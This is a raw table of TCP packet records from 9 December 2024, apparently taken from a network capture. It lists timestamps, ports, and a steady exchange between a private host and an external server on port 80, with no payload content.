Dec 9, 2024 18:20:54.704503059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.704544067 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.704552889 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.705331087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.705348969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.705388069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.705400944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.706084013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.706098080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.706132889 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.706145048 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.707001925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.707015991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.707048893 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.837924004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.838051081 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.838146925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.838196993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.839318037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.839332104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.839370966 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.841166973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.841219902 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.841960907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.841974020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.841984034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.842015028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.842044115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.843858957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.843874931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.843911886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.843933105 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.845449924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.845463037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.845505953 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.846373081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.846422911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.847182035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.847234011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.848800898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.848825932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.848875046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.848896027 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.849670887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.849724054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.850522995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.850574017 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.851628065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.851672888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.852488995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.852540970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.853112936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.853163958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.854012966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.854065895 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.854907036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.854918957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.854962111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.855750084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.855762005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.855804920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.857413054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.857424974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.857470036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.859185934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.859200001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.859209061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.859256029 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.859275103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.860083103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.860133886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.860905886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.860950947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.861783981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.861831903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.862941980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.863006115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.863523960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.863537073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.863547087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.863585949 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.863624096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.865372896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.865386009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.865438938 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.866175890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.866228104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.867017031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.867074013 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.867806911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.867820024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.867861986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.869518995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.869540930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.869581938 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.869607925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.870378971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.870398045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.870428085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.870445967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.871274948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.871330023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.872114897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.872162104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.873038054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.873097897 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.873960018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.873971939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.874020100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.874877930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.874972105 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.876050949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.876058102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.876107931 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.877667904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.877680063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.877722979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.878510952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.878560066 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.878865957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.878914118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.879604101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.879618883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.879657984 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.881386042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.881400108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.881445885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.882406950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.882419109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.882455111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.883503914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.883565903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.884367943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.884423018 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.885312080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.885365009 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.885932922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.885982990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.886756897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.886769056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.886811972 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.887782097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.887794971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.887837887 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.889431953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.889445066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.889483929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.890321016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.890333891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.890386105 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.891163111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.891175985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.891185999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.891223907 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.891233921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.892086983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.892127991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.892136097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.892167091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.892987967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.893002033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.893042088 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.893877983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.893889904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.893934011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.893964052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.894648075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.894659996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.894701958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.895435095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.895448923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.895468950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.895492077 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.895505905 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.896195889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.896209002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.896241903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.896261930 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.897048950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.897062063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.897094011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.897108078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.897928953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.897975922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.898492098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.898504019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.898540020 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.899652958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.899666071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.899677038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.899702072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.899718046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.900677919 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.900690079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.900729895 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.901369095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.901381969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.901391029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.901424885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.901436090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.030405045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.030474901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.031058073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.031119108 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.031443119 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.031455040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.031497955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.031649113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.032692909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.032705069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.032747030 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.033930063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.033998013 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.034586906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.034634113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.035340071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.035388947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.036001921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.036050081 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.036668062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.036679029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.036715031 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.037380934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.037393093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.037431002 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.038739920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.038753033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.038794041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.040129900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.040189981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.040834904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.040847063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.040883064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.040903091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.041580915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.041625023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.042267084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.042313099 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.043071032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.043112040 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.043747902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.043760061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.043796062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.045105934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.045152903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.045154095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.045197964 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.045725107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.045737982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.045783043 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.046550035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.046602011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.047095060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.047143936 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.047785044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.047831059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.048474073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.048522949 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.049978018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.049994946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.050029039 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.050040960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.050579071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.050632000 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.051233053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.051280975 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.052018881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.052067041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.052562952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.052575111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.052613974 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.053234100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.053282022 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.054150105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.054161072 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.054200888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.055525064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.055574894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.056309938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.056358099 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.056796074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.056807041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.056843042 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.058321953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.058334112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.058373928 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.058772087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.058784008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.058824062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.060231924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.060245037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.060283899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.060975075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.061026096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.061544895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.061558008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.061598063 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.062454939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.062510967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.062954903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.062967062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.063003063 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.064464092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.064476967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.064517975 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.065042973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.065068960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.065088034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.065116882 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.066396952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.066410065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.066452026 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.067220926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.067265987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.067930937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.067943096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.067982912 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.068531036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.068577051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.069164991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.069176912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.069214106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.070560932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.070636034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.071156025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.071168900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.071208000 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.071624041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.071676970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.072802067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.072813034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.072854996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.073057890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.073106050 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.073622942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.073676109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.073704004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.073750019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:55.074722052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:55.074749947 CET	80	49828	185.215.113.16	192.168.2.6
